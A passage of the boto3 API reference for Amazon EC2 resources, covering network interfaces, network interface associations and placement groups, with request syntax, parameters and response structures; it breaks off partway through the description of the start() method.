+ + The IPv6 address. + + +mac_address + +- _(string) --_ + + The MAC address. + + +network_interface_id + +- _(string) --_ + + The ID of the network interface. + + +outpost_arn + +- _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +owner_id + +- _(string) --_ + + The AWS account ID of the owner of the network interface. + + +private_dns_name + +- _(string) --_ + + The private DNS name. + + +private_ip_address + +- _(string) --_ + + The IPv4 address of the network interface within the subnet. + + +private_ip_addresses + +- _(list) --_ + + The private IPv4 addresses associated with the network interface. + + - _(dict) --_ + + Describes the private IPv4 address of a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address (IPv4) associated with the network interface. + + - **AllocationId** _(string) --_ + + The allocation ID. + + - **AssociationId** _(string) --_ + + The association ID. + + - **IpOwnerId** _(string) --_ + + The ID of the Elastic IP address owner. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The address of the Elastic IP address bound to the network interface. + + - **CustomerOwnedIp** _(string) --_ + + The customer-owned IP address associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + This option is only available when the network interface is in a subnet which is associated with a Wavelength Zone. + + - **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IPv4 address of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address. + + +requester_id + +- _(string) --_ + + The ID of the entity that launched the instance on your behalf (for example, AWS Management Console or Auto Scaling). + + +requester_managed + +- _(boolean) --_ + + Indicates whether the network interface is being managed by AWS. + + +source_dest_check + +- _(boolean) --_ + + Indicates whether traffic to or from the instance is validated. + + +status + +- _(string) --_ + + The status of the network interface. + + +subnet_id + +- _(string) --_ + + The ID of the subnet. + + +tag_set + +- _(list) --_ + + Any tags assigned to the network interface. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +- _(string) --_ + + The ID of the VPC. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +association + +(NetworkInterfaceAssociation) The related association if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +assign_private_ip_addresses(kwargs_) + +Assigns one or more secondary private IP addresses to the specified network interface. + +You can specify one or more specific secondary IP addresses, or you can specify the number of secondary IP addresses to be automatically assigned within the subnet's CIDR block range. The number of secondary IP addresses that you can assign to an instance varies by instance type. For information about instance types, see [Instance Types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about Elastic IP addresses, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +When you move a secondary private IP address to another network interface, any Elastic IP address that is associated with the IP address is also moved. + +Remapping an IP address is an asynchronous operation. When you move an IP address from one network interface to another, check network/interfaces/macs/mac/local-ipv4s in the instance metadata to confirm that the remapping is complete. + +You must specify either the IP addresses or the IP address count in the request. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AssignPrivateIpAddresses) + +**Request Syntax** + +response = network_interface.assign_private_ip_addresses( + AllowReassignment=True|False, + PrivateIpAddresses=[ + 'string', + ], + SecondaryPrivateIpAddressCount=123 +) + +Parameters + +- **AllowReassignment** (_boolean_) -- Indicates whether to allow an IP address that is already assigned to another network interface or instance to be reassigned to the specified network interface. +- **PrivateIpAddresses** (_list_) -- + + One or more IP addresses to be assigned as a secondary private IP address to the network interface. You can't specify this parameter when also specifying a number of secondary IP addresses. + + If you don't specify an IP address, Amazon EC2 automatically selects an IP address within the subnet range. + + - _(string) --_ +- **SecondaryPrivateIpAddressCount** (_integer_) -- The number of secondary IP addresses to assign to the network interface. You can't specify this parameter when also specifying private IP addresses. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'NetworkInterfaceId': 'string', + 'AssignedPrivateIpAddresses': [ + { + 'PrivateIpAddress': 'string' + }, + ] +} + +**Response Structure** + +- _(dict) --_ + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **AssignedPrivateIpAddresses** _(list) --_ + + The private IP addresses assigned to the network interface. + + - _(dict) --_ + + Describes the private IP addresses assigned to a network interface. + + - **PrivateIpAddress** _(string) --_ + + The private IP address assigned to the network interface. + + +attach(kwargs_) + +Attaches a network interface to an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachNetworkInterface) + +**Request Syntax** + +response = network_interface.attach( + DeviceIndex=123, + DryRun=True|False, + InstanceId='string', + NetworkCardIndex=123 +) + +Parameters + +- **DeviceIndex** (_integer_) -- + + **[REQUIRED]** + + The index of the device for the network interface attachment. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **InstanceId** (_string_) -- + + **[REQUIRED]** + + The ID of the instance. + +- **NetworkCardIndex** (_integer_) -- The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachmentId': 'string', + 'NetworkCardIndex': 123 +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of AttachNetworkInterface. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +tag = network_interface.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Return type + +list(ec2.Tag) + +Returns + +A list of Tag resources + +delete(kwargs_) + +Deletes the specified network interface. You must detach the network interface before you can delete it. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeleteNetworkInterface) + +**Request Syntax** + +response = network_interface.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +describe_attribute(kwargs_) + +Describes a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.describe_attribute( + Attribute='description'|'groupSet'|'sourceDestCheck'|'attachment', + DryRun=True|False, + +) + +Parameters + +- **Attribute** (_string_) -- The attribute of the network interface. This parameter is required. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Attachment': { + 'AttachTime': datetime(2015, 1, 1), + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False, + 'DeviceIndex': 123, + 'NetworkCardIndex': 123, + 'InstanceId': 'string', + 'InstanceOwnerId': 'string', + 'Status': 'attaching'|'attached'|'detaching'|'detached' + }, + 'Description': { + 'Value': 'string' + }, + 'Groups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'SourceDestCheck': { + 'Value': True|False + } +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeNetworkInterfaceAttribute. + + - **Attachment** _(dict) --_ + + The attachment (if any) of the network interface. + + - **AttachTime** _(datetime) --_ + + The timestamp indicating when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The device index of the network interface attachment on the instance. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **InstanceOwnerId** _(string) --_ + + The AWS account ID of the owner of the instance. + + - **Status** _(string) --_ + + The attachment state. + + - **Description** _(dict) --_ + + The description of the network interface. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + + - **Groups** _(list) --_ + + The security groups associated with the network interface. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **SourceDestCheck** _(dict) --_ + + Indicates whether source/destination checking is enabled. + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +detach(kwargs_) + +Detaches a network interface from an instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DetachNetworkInterface) + +**Request Syntax** + +response = network_interface.detach( + DryRun=True|False, + Force=True|False +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Force** (_boolean_) -- + + Specifies whether to force a detachment. + + Note + + - Use the Force parameter only as a last resort to detach a network interface from a failed instance. + - If you use the Force parameter to detach a network interface, you might not be able to attach a different network interface to the same index on the instance without first stopping and starting the instance. + - If you force the detachment of a network interface, the [instance metadata](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html) might not get updated. This means that the attributes associated with the detached network interface might still be visible. The instance metadata will get updated when you stop and start the instance. + + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterface resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface.load() + +Returns + +None + +modify_attribute(kwargs_) + +Modifies the specified network interface attribute. You can specify only one attribute at a time. You can use this action to attach and detach security groups from an existing EC2 instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ModifyNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.modify_attribute( + Attachment={ + 'AttachmentId': 'string', + 'DeleteOnTermination': True|False + }, + Description={ + 'Value': 'string' + }, + DryRun=True|False, + Groups=[ + 'string', + ], + SourceDestCheck={ + 'Value': True|False + } +) + +Parameters + +- **Attachment** (_dict_) -- + + Information about the interface attachment. If modifying the 'delete on termination' attribute, you must specify the ID of the interface attachment. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + +- **Description** (_dict_) -- + + A description for the network interface. + + - **Value** _(string) --_ + + The attribute value. The value is case-sensitive. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Groups** (_list_) -- + + Changes the security groups for the network interface. The new set of groups you specify replaces the current set. You must specify at least one group, even if it's just the default security group in the VPC. You must specify the ID of the security group, not the name. + + - _(string) --_ +- **SourceDestCheck** (_dict_) -- + + Indicates whether source/destination checking is enabled. A value of true means checking is enabled, and false means checking is disabled. This value must be false for a NAT instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + - **Value** _(boolean) --_ + + The attribute value. The valid values are true or false . + + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterface resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface.reload() + +Returns + +None + +reset_attribute(kwargs_) + +Resets a network interface attribute. You can specify only one attribute at a time. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/ResetNetworkInterfaceAttribute) + +**Request Syntax** + +response = network_interface.reset_attribute( + DryRun=True|False, + SourceDestCheck='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SourceDestCheck** (_string_) -- The source/destination checking attribute. Resets the value to true . + +Returns + +None + +unassign_private_ip_addresses(kwargs_) + +Unassigns one or more secondary private IP addresses from a network interface. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/UnassignPrivateIpAddresses) + +**Request Syntax** + +response = network_interface.unassign_private_ip_addresses( + PrivateIpAddresses=[ + 'string', + ] +) + +Parameters + +**PrivateIpAddresses** (_list_) -- + +**[REQUIRED]** + +The secondary private IP addresses to unassign from the network interface. You can specify this option multiple times to unassign more than one IP address. + +- _(string) --_ + +Returns + +None + +[NetworkInterfaceAssociation](#id1246) +---------------------------------------------------------------------------------------------------- + +_class_ EC2.NetworkInterfaceAssociation(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) NetworkInterfaceAssociation: + +import boto3 + +ec2 = boto3.resource('ec2') +network_interface_association = ec2.NetworkInterfaceAssociation('id') + +Parameters + +**id** (_string_) -- The NetworkInterfaceAssociation's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.NetworkInterfaceAssociation.id "EC2.NetworkInterfaceAssociation.id") + +These are the resource's available attributes: + +- [carrier_ip](#EC2.NetworkInterfaceAssociation.carrier_ip "EC2.NetworkInterfaceAssociation.carrier_ip") +- [ip_owner_id](#EC2.NetworkInterfaceAssociation.ip_owner_id "EC2.NetworkInterfaceAssociation.ip_owner_id") +- [public_dns_name](#EC2.NetworkInterfaceAssociation.public_dns_name "EC2.NetworkInterfaceAssociation.public_dns_name") +- [public_ip](#EC2.NetworkInterfaceAssociation.public_ip "EC2.NetworkInterfaceAssociation.public_ip") + +These are the resource's available references: + +- [address](#EC2.NetworkInterfaceAssociation.address "EC2.NetworkInterfaceAssociation.address") + +These are the resource's available actions: + +- [delete()](#EC2.NetworkInterfaceAssociation.delete "EC2.NetworkInterfaceAssociation.delete") +- [get_available_subresources()](#EC2.NetworkInterfaceAssociation.get_available_subresources "EC2.NetworkInterfaceAssociation.get_available_subresources") +- [load()](#EC2.NetworkInterfaceAssociation.load "EC2.NetworkInterfaceAssociation.load") +- [reload()](#EC2.NetworkInterfaceAssociation.reload "EC2.NetworkInterfaceAssociation.reload") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The NetworkInterfaceAssociation's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.NetworkInterfaceAssociation.load "EC2.NetworkInterfaceAssociation.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +carrier_ip + +- _(string) --_ + + The carrier IP address associated with the network interface. + + +ip_owner_id + +- _(string) --_ + + The ID of the owner of the Elastic IP address. + + +public_dns_name + +- _(string) --_ + + The public DNS name. + + +public_ip + +- _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +address + +(VpcAddress) The related address if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Disassociates an Elastic IP address from the instance or network interface it's associated with. + +An Elastic IP address is for use in either the EC2-Classic platform or in a VPC. For more information, see [Elastic IP Addresses](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/elastic-ip-addresses-eip.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +This is an idempotent operation. If you perform the operation more than once, Amazon EC2 doesn't return an error. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DisassociateAddress) + +**Request Syntax** + +response = network_interface_association.delete( + PublicIp='string', + DryRun=True|False +) + +Parameters + +- **PublicIp** (_string_) -- [EC2-Classic] The Elastic IP address. Required for EC2-Classic. +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterfaceAssociation resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface_association.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_network_interfaces()](#EC2.Client.describe_network_interfaces "EC2.Client.describe_network_interfaces") to update the attributes of the NetworkInterfaceAssociation resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +network_interface_association.reload() + +Returns + +None + +[PlacementGroup](#id1247) +-------------------------------------------------------------------------- + +_class_ EC2.PlacementGroup(_name_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) PlacementGroup: + +import boto3 + +ec2 = boto3.resource('ec2') +placement_group = ec2.PlacementGroup('name') + +Parameters + +**name** (_string_) -- The PlacementGroup's name identifier. This **must** be set. + +These are the resource's available identifiers: + +- [name](#EC2.PlacementGroup.name "EC2.PlacementGroup.name") + +These are the resource's available attributes: + +- [group_id](#EC2.PlacementGroup.group_id "EC2.PlacementGroup.group_id") +- [group_name](#EC2.PlacementGroup.group_name "EC2.PlacementGroup.group_name") +- [partition_count](#EC2.PlacementGroup.partition_count "EC2.PlacementGroup.partition_count") +- [state](#EC2.PlacementGroup.state "EC2.PlacementGroup.state") +- [strategy](#EC2.PlacementGroup.strategy "EC2.PlacementGroup.strategy") +- [tags](#EC2.PlacementGroup.tags "EC2.PlacementGroup.tags") + +These are the resource's available actions: + +- [delete()](#EC2.PlacementGroup.delete "EC2.PlacementGroup.delete") +- [get_available_subresources()](#EC2.PlacementGroup.get_available_subresources "EC2.PlacementGroup.get_available_subresources") +- [load()](#EC2.PlacementGroup.load "EC2.PlacementGroup.load") +- [reload()](#EC2.PlacementGroup.reload "EC2.PlacementGroup.reload") + +These are the resource's available collections: + +- [instances](#EC2.PlacementGroup.instances "EC2.PlacementGroup.instances") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +name + +_(string)_ The PlacementGroup's name identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.PlacementGroup.load "EC2.PlacementGroup.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +group_id + +- _(string) --_ + + The ID of the placement group. + + +group_name + +- _(string) --_ + + The name of the placement group. + + +partition_count + +- _(integer) --_ + + The number of partitions. Valid only if **strategy** is set to partition . + + +state + +- _(string) --_ + + The state of the placement group. + + +strategy + +- _(string) --_ + + The placement strategy. + + +tags + +- _(list) --_ + + Any tags applied to the placement group. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +delete(kwargs_) + +Deletes the specified placement group. You must terminate all instances in the placement group before you can delete the placement group. For more information, see [Placement groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/placement-groups.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DeletePlacementGroup) + +**Request Syntax** + +response = placement_group.delete( + DryRun=True|False, + +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. + +Returns + +A list containing the name of each sub-resource for this resource + +Return type + +list of str + +load() + +Calls [EC2.Client.describe_placement_groups()](#EC2.Client.describe_placement_groups "EC2.Client.describe_placement_groups") to update the attributes of the PlacementGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +placement_group.load() + +Returns + +None + +reload() + +Calls [EC2.Client.describe_placement_groups()](#EC2.Client.describe_placement_groups "EC2.Client.describe_placement_groups") to update the attributes of the PlacementGroup resource. Note that the load and reload methods are the same method and can be used interchangeably. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/None) + +**Request Syntax** + +placement_group.reload() + +Returns + +None + +Collections + +Collections provide an interface to iterate over and manipulate groups of resources. For more information about collections refer to the [_Resources Introduction Guide_](../../guide/collections.html#guide-collections). + +instances + +A collection of Instance resources.A Instance Collection will include all resources by default, and extreme caution should be taken when performing actions on all resources. + +all() + +Creates an iterable of all Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.all() + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/CreateTags) + +**Request Syntax** + +response = placement_group.instances.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Tags** (_list_) -- + + **[REQUIRED]** + + The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +Returns + +None + +filter(kwargs_) + +Creates an iterable of all Instance resources in the collection filtered by kwargs passed to method.A Instance collection will include all resources by default if no filters are provided, and extreme caution should be taken when performing actions on all resources. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.filter( + InstanceIds=[ + 'string', + ], + DryRun=True|False, + MaxResults=123, + NextToken='string' +) + +Parameters + +- **InstanceIds** (_list_) -- + + The instance IDs. + + Default: Describes all your instances. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **MaxResults** (_integer_) -- The maximum number of results to return in a single call. To retrieve the remaining results, make another call with the returned NextToken value. This value can be between 5 and 1000. You cannot specify this parameter and the instance IDs parameter in the same call. +- **NextToken** (_string_) -- The token to request the next page of results. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +limit(kwargs_) + +Creates an iterable up to a specified amount of Instance resources in the collection. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.limit( + count=123 +) + +Parameters + +**count** (_integer_) -- The limit to the number of resources in the iterable. + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +monitor(kwargs_) + +Enables detailed monitoring for a running instance. Otherwise, basic monitoring is enabled. For more information, see [Monitoring your instances and volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-cloudwatch.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +To disable detailed monitoring, see . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/MonitorInstances) + +**Request Syntax** + +response = placement_group.instances.monitor( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceMonitorings': [ + { + 'InstanceId': 'string', + 'Monitoring': { + 'State': 'disabled'|'disabling'|'enabled'|'pending' + } + }, + ] +} + +**Response Structure** + +- _(dict) --_ + - **InstanceMonitorings** _(list) --_ + + The monitoring information. + + - _(dict) --_ + + Describes the monitoring of an instance. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Monitoring** _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +page_size(kwargs_) + +Creates an iterable of all Instance resources in the collection, but limits the number of items returned by each service call by the specified amount. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeInstances) + +**Request Syntax** + +instance_iterator = placement_group.instances.page_size( + count=123 +) + +Parameters + +**count** (_integer_) -- The number of items returned by each service call + +Return type + +list(ec2.Instance) + +Returns + +A list of Instance resources + +reboot(kwargs_) + +Requests a reboot of the specified instances. This operation is asynchronous; it only queues a request to reboot the specified instances. The operation succeeds if the instances are valid and belong to you. Requests to reboot terminated instances are ignored. + +If an instance does not cleanly shut down within a few minutes, Amazon EC2 performs a hard reboot. + +For more information about troubleshooting, see [Getting console output and rebooting instances](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/RebootInstances) + +**Request Syntax** + +response = placement_group.instances.reboot( + DryRun=True|False +) + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +start(kwargs_) + +Starts an Amazon EBS-backed instance that you've previously stopped. + +Instances that use 